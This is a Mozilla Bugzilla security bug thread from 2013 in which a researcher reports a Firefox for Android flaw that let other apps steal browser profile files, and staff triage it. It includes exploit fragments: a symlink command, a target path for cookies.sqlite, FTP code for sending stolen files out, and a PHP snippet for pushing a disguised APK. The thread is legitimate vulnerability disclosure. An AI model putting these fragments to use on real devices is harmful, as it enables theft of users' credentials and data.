Closed Bug 891876 Opened 11 years ago Closed 11 years ago

File access vulnerability

Categories

(Firefox for Android Graveyard :: General, defect)

Product:
Firefox for Android Graveyard
Component:
General
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

(Not tracked)

Status:
RESOLVED DUPLICATE of bug 782581

People

(Reporter: curtisk, Assigned: jchen)

Details

(Keywords: sec-high, Whiteboard: [reporter-external])

Attachments

(2 files)

screenshot.png
80.87 KB, image/png
Details
Exploit to trigger this vulnerability
2.19 MB, application/octet-stream
Details 
Received: by 10.49.104.140 with HTTP; Tue, 2 Jul 2013 19:33:30 -0700 (PDT)
From: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Date: Wed, 3 Jul 2013 04:33:30 +0200
Subject: Mozilla Firefox for Android - Security Vulnerability
To: Michael Coates <mcoates@mozilla.com>, security@mozilla.org
-----//-----
Hi guys,

I've found some vulnerabilities that could be taken in advantage by a remote attacker in order to steals any file located at /sdcard or /data/data/org.mozilla.firefox path.

I've attached a write-up where I explain in details how to exploit each issue and the final vulnerability.

There is also attached the source code used for the two vector attacks, you just need to change some parameters that I specify on the write up, compile and install them on your test device.

Just in case I also recorded a video where I show how to exploit the vuln.

Please, I think I provide all the information that you need to perform this attack and exploit the vuln, read it first before run the application. 

The scope of this vulnerability is remote.

If you need additional information please, don't be hesitate to contact me.

This has been tested on Android 4.2.2 on a Nexus 4, running Firefox 22.0. I've not been able to test it on a FF OS device since I don't have one, could be possible to obtain one to test the operative system and their apps?
The PoC video is available under this URL: https://www.dropbox.com/s/0zm8h0adrdeg8un/firefox0day.mov

Thanks in advance for your attention and predisposition, feel free to reach me.

PD: Seems that there is some kind of problem with the attachments, so here you have uploaded into my dropbox account the files, I've also tried to open an account into bugfilla but there was also an error... sorry for any inconvenience:

Write-up - https://www.dropbox.com/s/x2gwww2w0kixaqi/MozillaFirefox-vuln.docx

Firefox0day source code -  https://www.dropbox.com/s/f6xhaj3pq5me6gp/Firefox0day.zip

Mozilla Issue I source code - https://www.dropbox.com/s/qx3a32c5zjz8ooi/Mozilla%20PoC.zip

Best regards,


-- 
Sebastián Guerrero Selma
» Blog: http://blog.seguesec.com
» Email: s.guerrero0@gmail.com
» Twitter: @0xroot
From: Mozilla Security <security@mozilla.org>
To: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Subject: Re: Mozilla Firefox for Android - Security Vulnerability
-----//-----
Thanks for reporting this. We will file these bugs and let you know
the bug numbers and nominate them for the Security Bug Bounty. If you
have an account with bugzilla (or Persona) we can add you to the
access list so you can watch the progress on the bug(s).

I have only read through your explanation once and need to dig into it
more but I did have a question about your definition of "remote". Was
there a way to accomplish this attack without a malicious app
installed on the device? There are plenty of malicious Android apps
out there so I certainly don't discount the bug because of that, just
trying to judge the nature of the risk.

Did you find a way to learn the "salted" profile name on a remote
device or from a malicious app without asking the user for it? If you
did that would be a separate significant bug in its own right since
that is our last line of defense against attacks of this nature.

> I've not been able to test it on a FF OS device since I don't have 
> one, could be possible to obtain one to test the operative system
> and their apps?

We don't have the devices to give out, but you should be able to get
an accurate idea of what a malicious app and the browser can do with
the Firefox OS Simulator.
https://developer.mozilla.org/en-US/docs/Tools/Firefox_OS_Simulator

Additional information about what Firefox OS apps can do and how to
write them can be found at
https://developer.mozilla.org/en-US/docs/Web/Apps

Firefox OS apps and the browser cannot open file:// urls so this
attack would not work in that environment. At least not unless you
find a clever way to get around our restrictions (the kind of
cleverness our bug bounty was designed to reward).

- -- 
Daniel Veditz
Mozilla Security Team
Flags: sec-bounty?
From: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Date: Wed, 3 Jul 2013 10:41:53 +0200
Subject: Re: Mozilla Firefox for Android - Security Vulnerability
To: Mozilla Security <security@mozilla.org>
-----//-----
Hi Daniel,

I think I have an account on BugZilla using this email:
s.guerrero0@gmail.com, but I couldn't add these bugs there yesterday night,
so if you can add me automatically, that would be great.

Respect to the scope of this vulnerability, then only thing necessary to
exploit this is to have stored on the device the JavaScript payload. If
there is a way to do that, just when the user access to a website, I mean,
to download a file into /sdcard and redirect Mozilla Firefox to it, using
the file:// scheme, then it could be also possible to exploit this
vulnerability. Although honestly, I didn't try that since it requires more
time, just tested this and sent the report to you.

I'm using a third app just because I thought it could be more graphical to
represent the attack, but I'm quite sure that the approach that I explained
to you before, will work.

If the "salted" profile is stored on /data/data/org.mozilla.firefox, then
I'm probably able to obtain it, but I didn't research through the different
files located at that folder, if you want I can try it, of course :).

Probably I'll be able to obtain that 'salted' profile using a different
technique, with a tool to dump from memory an application process.

I'll try to obtain that file and I'll let you know.

If you need anything else, let me know :D.
From: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Date: Wed, 3 Jul 2013 10:50:46 +0200
Subject: Re: Mozilla Firefox for Android - Security Vulnerability
To: Mozilla Security <security@mozilla.org>
-----//-----
Hi Daniel,

I have a way to circumvent the salted name, give me some minutes and I'll
send you another solution :).

////////////////\\\\\\\\\\\\\\\
From: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Date: Wed, 3 Jul 2013 11:39:26 +0200
Subject: Re: Mozilla Firefox for Android - Security Vulnerability
To: Mozilla Security <security@mozilla.org>
-----//-----
Hi Daniel,

I found a way, just change this line, on the project "firefox0day":

   public final static String TARGET_FILE = "/data/data/" + FF_PACKAGE +
"/files/mozilla/yodjec4r.default/cookies.sqlite";

For this one:

   public final static String TARGET_FILE = "/data/data/" + FF_PACKAGE +
"/files/mozilla/profiles.ini";

The content of this file is the following one:

[Profile0]
Default=1
Name=default
IsRelative=1
Path=yodjec4r.default


[General]
StartWithLastProfile=1


As you can see there is the name of the salted directory, and I'm also able
to print it on the screen and obtain it remotely using a third app.

See the attached screen for more references.

All this process can be automated in two stages:

1) Retrieve that value.
2) Exploit the vulnerability previously mentioned.

If you need anything else, please don't be hesitate to contact me.
From: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Date: Sun, 7 Jul 2013 16:21:15 +0200
Subject: Re: Mozilla Firefox for Android - Security Vulnerability
To: Mozilla Security <security@mozilla.org>
-----//-----
Hi Daniel,

I've been working on this vulnerability this weekend, and I have a new
exploit for you. I've also recorded a video for you guys, where you can see
how this vulnerability can be exploited easily by an attacker.

Actually I'm using the four vulnerabilities that I reported to you on the
write-up and also on a previous email, where I shown you, how could be
possible to retrieve the salted name used for the user's profile:

Video: https://www.dropbox.com/s/ndjii01oiowgnmu/0day-firefox.mov
Exploit: https://www.dropbox.com/s/x9bq7k1xnpz59wb/FFoxNew.zip



Have in consideration that is necessary to stop Mozilla's process first.
And also, you will need to supply your own FTP's credentials on
ContentReceiverServer.java file:

try

{

con = new FTPClient();

con.connect("HOST_NAME");


if (con.login("USER", "PASSWORD"))


Please don't hesitate to contact me if you have any doubt with these
vulnerabilities.

Best regards.
From: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Date: Wed, 10 Jul 2013 01:34:08 +0200
Subject: Re: Mozilla Firefox for Android - Security Vulnerability
To: Mozilla Security <security@mozilla.org>
-----//-----
Thinking about how could be possible to patch this issue, maybe this link
could be useful for you:
https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/net/chrome_network_delegate.cc&q=/sdcard&sq=package:chromium&type=cs&l=732

Google Chrome are using a white list, allowing only the files under the
path /sdcard, with that, you will fix all the issues that I reported to you.

Cheers.
From: "s.guerrero0@gmail.com" <s.guerrero0@gmail.com>
Date: Wed, 10 Jul 2013 02:04:47 +0200
Subject: Re: Mozilla Firefox for Android - Security Vulnerability
To: Mozilla Security <security@mozilla.org>
-----//-----
I've just found this:

07-10 02:01:40.670: D/GeckoProfile(23303): Found profile dir:
/data/data/org.mozilla.firefox/files/mozilla/llg7npcl.default

You are printing on the logs the salted dir name...
Is this specific to Android, or if you could drop a JS file in a known location on a desktop build would it also affect desktop? Attacks via well-known download locations are a concern.
Flags: needinfo?(s.guerrero0)
Hi Benjamin,

I think this is something specific on Android and is not possible to recreate the same issue on a desktop build, anyway if you want I can give it a try.

Please, for Android, read the Comment 4, where I attached some instructions to recreate the issue, using an exploit that I made.
Flags: needinfo?(s.guerrero0)
Comment on attachment 773285 [details]
Exploit to trigger this vulnerability

Video recorded: https://www.dropbox.com/s/ndjii01oiowgnmu/0day-firefox.mov
Attachment #773285 - Attachment description: Exploit to trigger this vulnerability - Video recorded: https://www.dropbox.com/s/ndjii01oiowgnmu/0day-firefox.mov → Exploit to trigger this vulnerability
I think I was confused. I thought this was reported as a remote vulnerability where web content could steal files. It appears though that what you're reporting is a vulnerability where other android applications can steal the contents of files that belong to Firefox. Is that a reasonable summary?

Is the bug here is that these applications are not given Android access to read and write files on the SD card but somehow by interacting with Firefox they can do it anyway? Or Firefox doesn't set correct permissions on its files, so that other apps can read them when they aren't supposed to?
Hi Benjamin, 

Yes, it's a reasonable summary, I can share with you my initial write-up:
 https://www.dropbox.com/s/x2gwww2w0kixaqi/MozillaFirefox-vuln.docx

Mozilla has set properly the permissions on its files.

From my point of view, the vulnerabilities are:

Vulnerability 1 - Mozilla allows to the end user to open a file in the browser using the file:// scheme. This is something normal, but there isn't set a restriction to this feature, since I'm able to open any world readable file stored on the device, or open any internal file used by Mozilla due to I'm requesting those files from the ID process assigned to the browser, which is a normal behavior.

I used this vulnerability to open my malicious payload stored on the /data/data folder created by my third party app.

You should open only files underneath file:///sdcard (these are the only files intended to be public on the device), and create some kind of white list with the directories that you would like to request from your app, a similar solution was implemented for Chrome to solve this bug:

https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/net/chrome_network_delegate.cc&q=/sdcard&sq=package:chromium&type=cs&l=732

With the second vulnerability you will understand why I'm using this.

Vulnerability 2 - If I deploy a file on the /sdcard path, I can't create a hardlink or a symlink between different partitions, so if I deploy my malicious payload on the /sdcard, it will be impossible to create a symlink between my payload and an internal file stored on /data/data/org.mozilla.firefox

As Mozilla allows to open any world readable file independently of the path, I decided to store my malicious payload on /data/data, and create a symlink that points to all the files stored by Mozilla:

ln -s /data/data/com.example.ffnewexplot/ff_pload/payload.html /data/data/org.mozilla.firefox/_FOO_

In this way, every time my payload is executed, it will create a new symlink, pointing to a new file, and after some seconds, it will follow the symlink, reading its content and sending the data over a localhost socket to my Java Application installed on the device, then the Java application will recreate the file, perform some integrity checks and send the file to a third party server.

As you can see, I'm combining the two vulnerabilities described previously

The solution could be to create a white list with the directories that you would like to allow, blocking in this way to follow any symlink or hadlink created between the /data/data folders

Vulnerability 3 - The files used by mozilla app, are located under a salted name, that name is you last defense to protect your assets from attackers, but the name of that folder is written into the log, and could be parse easily in order to retrieve its name:

07-10 02:01:40.670: D/GeckoProfile(23303): Found profile dir:
/data/data/org.mozilla.firefox/files/mozilla/llg7npcl.default

You should avoid this.

Furthermore, there is a file under the path /data/data/org.mozilla.firefox/files/profile.ini (IIRC) that contains the name of the salted folder.

I take advantage of this and the first step that realizes my malicious script, is to obtain that files and parse it, in order to obtain the name of the salted folder where mozilla has located its private files.


---

Don't know if I explained correctly the risk of these vulnerabilities and how could be used in combination by an attacker to steal all your information and the information located on the /sdcard, so if you have any doubt, please don't hesitate to contact me again.
A reasonable summary would be the following one:

1 - Is possible to open a HTML file with a Javascript embedded using the file:// scheme
2 - Is possible to open files world readable or under the path /data/data/org.mozilla.firefox, because there isn't set a white list with the directories allowed.
3 - Mozilla follows symlinks, being possible to point a malicious payload written in java that reads the content of the file pointed by the symlink and send its content through a localhost websocket.
4 - Is possible to retrieve the salted name used to create the user's profile folder.

Possible solutions:

- Remove the file:// scheme from the Android Manifest.
- Create a white list with directories / files allowed to be requested. You should open only files underneath file:///sdcard (these are the only files intended to be public on the device)
- Delete the profile.ini file inside the /data/data/org.mozilla.firefox/files/ path, or put the salted string on any other part. Remove the debug instruction that prints the path on the system's log
tracking-fennec: --- → ?
if is something useful for you, I've tested these vulnerabilities on Mozilla Firefox 22.0 and Mozilla Firefox Beta 23.0
Not enough information to make a tracking decision, please renom when there is.
tracking-fennec: ? → ---
Flags: needinfo?(dveditz)
Hi Daniel Veditz

What kind of information do you need? At the beginning of this thread I put a write-up explaining how to exploit this and a the code for a functional exploit.

Do you need anything else from my side?
WRT vulnerability #3, in order to read the logs from another app on Android your malicious app would have to request READ_PHONE_STATE. If the user grants a malicious app that permission, they're already pretty hosed.
I don't know if you taken the nuisance to read my write up or the source code that I attached, but I'm not using that permission... Please, read the write-up, and test the source code...

I'm using the INTERNET and ACCESS_NETWORK_STATE to leak your information to my third party server and the WRITE_EXTERNAL_STORAGE permission to leave there my malicious payload.

The way that I'm using to retrieve the salted string, is explained very detailed on the write-up:

https://www.dropbox.com/s/x2gwww2w0kixaqi/MozillaFirefox-vuln.docx

Also see the comment #4.

Instead of read any other file like a database, I'm reading the profiles.ini file, parse its content and grab in a variable the salted directory... 

I'm printing on the logs the value just to see that everything worked properly, but I'M NOT READING anything from the logs.

Is anything else unclear or do I need to explain something else more in details? Please let me know.
In my opinion, doesn't matter what kind of permissions are requested by a third app, you guys have a several vulnerability in your product, and that vulnerability allows an attacker to steal any information stored inside /data/data/org.mozilla.firefox folder, passwords, cookies, downloads, etc, independently of the permissions used by the third app. Have in consideration that this can be exploited in several ways, if you choose one or another, you will need different permissions, but the exploit that I made for you, doesn't require unusual permissions. 

I can exploit this only requesting the WRITE_EXTERNAL_STORAGE permission, and call the browser with an intent extra parameter with the path of the files that I would like to send to my third party server...

Really, I'd like to know if you are considering this as multiple vulnerabilities in your product or not, otherwise, please let me know, and I'll make this public as product of my research... 

Best regards.
I took the decision to send you this information because I thought that it would be eligible under the bug bounty program... but from my first email to you, all what I've seen here is just  excuses that underestimate my report and exploit.

If you are not going to consider this as a vulnerability or if this is not going to be eligible under your bug bounty program, please let me know and stop wasting our time.

Best regards.
sebas: I would ask you to be patient as we evaluate and understand what you are reporting. You are a part of the bug for the very reasons you stated, so that you can help us understand the issue from your perspective. 

I can't speak to how the product team will handle this as I am not an expert on our phone code. However, this bug is nominated for a bounty (sec-bounty? flag), whether or not it is accepted for such is still to be determined. I would ask that you please follow our Bugzilla Etiquette (https://bugzilla.mozilla.org/page.cgi?id=etiquette.html) as we all work through understanding this issue.
Ok, if you need further information or clear up anything about the vulnerability/attack, just let me know :).
Flags: sec-bounty?
Flags: sec-bounty+
Flags: needinfo?(dveditz)
Dchan, since you awarded the bounty here, can you (or someone else) suggest the security rating for this issue?
Flags: needinfo?(dchan+bugzilla)
The combination of all the above issues makes this a sec-high in my opinion. Some of the the issues may be sec-moderate by themselves, but exfiltration of user data is more dangerous. In bug 721084 we consciously made the decision to disallow the Fennec profile from being on the sdcard due to data theft concerns.

I agree with sebas that the permissions requested by the third party app are a red herring. There are multiple issues with the current intent / file access workflow for Fennec. At minimum this bug is a bypass of certain controls we have in place (restricted access to profile / db files to only the Fennec app) and warrants a bounty.
Flags: needinfo?(dchan+bugzilla)
Keywords: sec-high
Hi guys,

I would like to share the technical details of my research, Would be possible let me know once you submit a new update for this vulnerability?

Meanwhile are you ok if I share on my twitter account the video that I recorded as a PoC?

Thanks again, and please if you need my help to fix the bug, let me know.
(In reply to sebas from comment #27)
> Hi guys,
> 
> I would like to share the technical details of my research, Would be
> possible let me know once you submit a new update for this vulnerability?
> 
> Meanwhile are you ok if I share on my twitter account the video that I
> recorded as a PoC?
> 
> Thanks again, and please if you need my help to fix the bug, let me know.

Once this is fixed our normal process is to put out an advisory and give the researcher credit for the bug. Once that happens publishing details about the bug and other related information is considered "good form".

As to the video, I think we would have some concern that such information could help a malicious actor to find the same flaw and use it against users. At a minimum it could give them an area of code that they could target even though it might not give the direct flaw or PoC code. As such I think our preference would be that information and videos related to the flaw stay out of public view until we can get this appropriately fixed.
Ok, no problem, I can wait until then.
Hi guys, I saw a new update for your main product, is this bug solved on that update?

I've found a new vulnerability to perform a Denial of Service on your browser, I'll submit a new bug as soon as I can.

Cheers
(In reply to sebas from comment #30)
> Hi guys, I saw a new update for your main product, is this bug solved on
> that update?
> 
> I've found a new vulnerability to perform a Denial of Service on your
> browser, I'll submit a new bug as soon as I can.
> 
> Cheers

If it were there would be an advisory and your name would be included in said advisory. Given that this bug is still in the "NEW" and not the "RESOLVED" state I think it is safe to say we are still looking at a fix for this issue.
Brad any thoughts on who could take this bug?
Flags: needinfo?(blassey.bugs)
(In reply to David Chan [:dchan] from comment #26)
> The combination of all the above issues makes this a sec-high in my opinion.
> Some of the the issues may be sec-moderate by themselves, but exfiltration
> of user data is more dangerous. In bug 721084 we consciously made the
> decision to disallow the Fennec profile from being on the sdcard due to data
> theft concerns.
> 
> I agree with sebas that the permissions requested by the third party app are
> a red herring. There are multiple issues with the current intent / file
> access workflow for Fennec. At minimum this bug is a bypass of certain
> controls we have in place (restricted access to profile / db files to only
> the Fennec app) and warrants a bounty.

David, if the exploit requires installing a 3rd party app, I have a hard time seeing this as sec-high, regardless of the permissions it requires.
Flags: needinfo?(blassey.bugs)
Assignee: nobody → nchen
(In reply to sebas from comment #30)
> Hi guys, I saw a new update for your main product, is this bug solved on
> that update?
> 
> I've found a new vulnerability to perform a Denial of Service on your
> browser, I'll submit a new bug as soon as I can.
> 
> Cheers

Hi Sebas, using the code from https://www.dropbox.com/s/f6xhaj3pq5me6gp/Firefox0day.zip, I am having trouble reproducing this exploit on a Galaxy Nexus 4.2.1 device. Local file same origin policy seems to work as intended, even for symbolic links:

> E/GeckoConsole(13972): [JavaScript Error: "NS_ERROR_DOM_BAD_URI: Access to restricted URI denied" {file: "file:///data/data/com.example.firefox0day/tmp/A0.4125288953252305.html" line: 1}]

Can you confirm it still works for you, by uninstalling and reinstalling Firefox 23?

Thanks!
Flags: needinfo?(s.guerrero0)
Sorry, I've been on holidays until today, will check it tomorrow morning :). But I remember that it worked for the beta version which was 23.
Flags: needinfo?(s.guerrero0)
(In reply to sebas from comment #35)
> Sorry, I've been on holidays until today, will check it tomorrow morning :).
> But I remember that it worked for the beta version which was 23.

Thanks. How did the test go?
Hi David, sorry for the late response, I just checked the bug and it works on Firefox 23.0

I attached some screens. The exception that is giving me is because my server used to send the files is down, but i'm able to retrieve the salted hash and the files.

Cheers

http://imgur.com/8WWJgKk,qInRYOx,mLzlyua
Brad, Jim: is this the same as bug 782581? If so it should be fixed in Firefox 24. If Jim was using a nightly or Aurora in comment 34 that could be why it didn't reproduce for him.
Flags: needinfo?(blassey.bugs)
(In reply to Daniel Veditz [:dveditz] from comment #38)
> Brad, Jim: is this the same as bug 782581? If so it should be fixed in
> Firefox 24. If Jim was using a nightly or Aurora in comment 34 that could be
> why it didn't reproduce for him.

Yes, this bug looks to be the same as bug 782581, and the fix is in Firefox 24.
Flags: needinfo?(blassey.bugs)
I tried this on Fennec, not sure which version, but it's the latest one that you can download from your official website, and it's also vulnerable. 

Anyway if you want I can re-check it.
Ok, I'll try all those apps tomorrow morning, btw, I just shared another bug that I found, I sent an email but didn't get a response yet.

"Hi guys,

I've been researching a little bit more about this vulnerability:http://1337day.com/exploits/21214 

Here is what I found, you can use this portion of code:

<?php
header('Content-Type: application/vnd.android.package-archive');
header('Content-Disposition: attachment; filename="__foo__.apk"');
readfile('__foo__.apk');
?>

Get access to the file using firefox browser, and it will download automatically the application and open the installer, this could be use with a social engineering trick to taint a malware using Firefox icon, and claim to be a Firefox update.

:)

Would this bug be eligible under the bounty bug program?

Cheers."
Launching an APK install is a known issue. It requires the user to disable or already have disabled a security feature of the OS.
Yes, that's true, it requires to check the box that allow to install applications that come from untrusted sources.
Mmm guys, just saw this: http://www.mozilla.org/security/announce/2013/mfsa2013-84.html is not the bug that I reported in this thread in combination with some others?
Well, I guess I can make public then everything related to this vuln ;).

Cheers
You mean you think this issue that you reported is a duplicate of the earlier bug 782581?

Assuming it isn't, I would suggest that responsible disclosure, especially for a bug on which you received a bounty, is not to disclose it until that is confirmed.
I test it again using the latest version that you deployed in the market and the vulnerability has been fixed.
Setting as duplicate. Earlier I bisected the fix for this bug to the fix for bug 782581.
Status: NEW → RESOLVED
Closed: 11 years ago
Resolution: --- → DUPLICATE
I'm really disappointed with the way that you guys have to resolve and organize the bugs. From my first email I provided to you all the 0days, an application and a report explaining in details all the different bugs. 

Now, two months after sending that email, you set this bug as duplicate. This will be the last time that I report you something as a responsible disclosure.

The organization that you have is disastrous.
I'm sorry but what is it that you wanted to see happen that did not happen? The bug that we duplicated your bug to was reported *before* your bug was reported. You did receive a bounty for this issue in spite of that. Is there a reason that we should not resolve this bug as a duplicate of the earlier reported issue?
It's not about receiving or not a bounty for this issue. I reported more bugs previously and received an email saying that was a duplicated bug, that's ok. It's about that I've been replying your emails during two months, providing new PoCs, testing this bug against multiple versions (when this should be your work, not mine, I provided the information and even an APK for dummies) and wasting my time.
Unfortunately, no one noticed that this was a dupe until you pointed it out. If that is a reason to quit talking to us, then goodbye. Otherwise, we're happy to continue to work with you.

We see a lot of issues and have many many developers working on bugs.
Group: core-security → core-security-release
Group: core-security-release
Product: Firefox for Android → Firefox for Android Graveyard
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: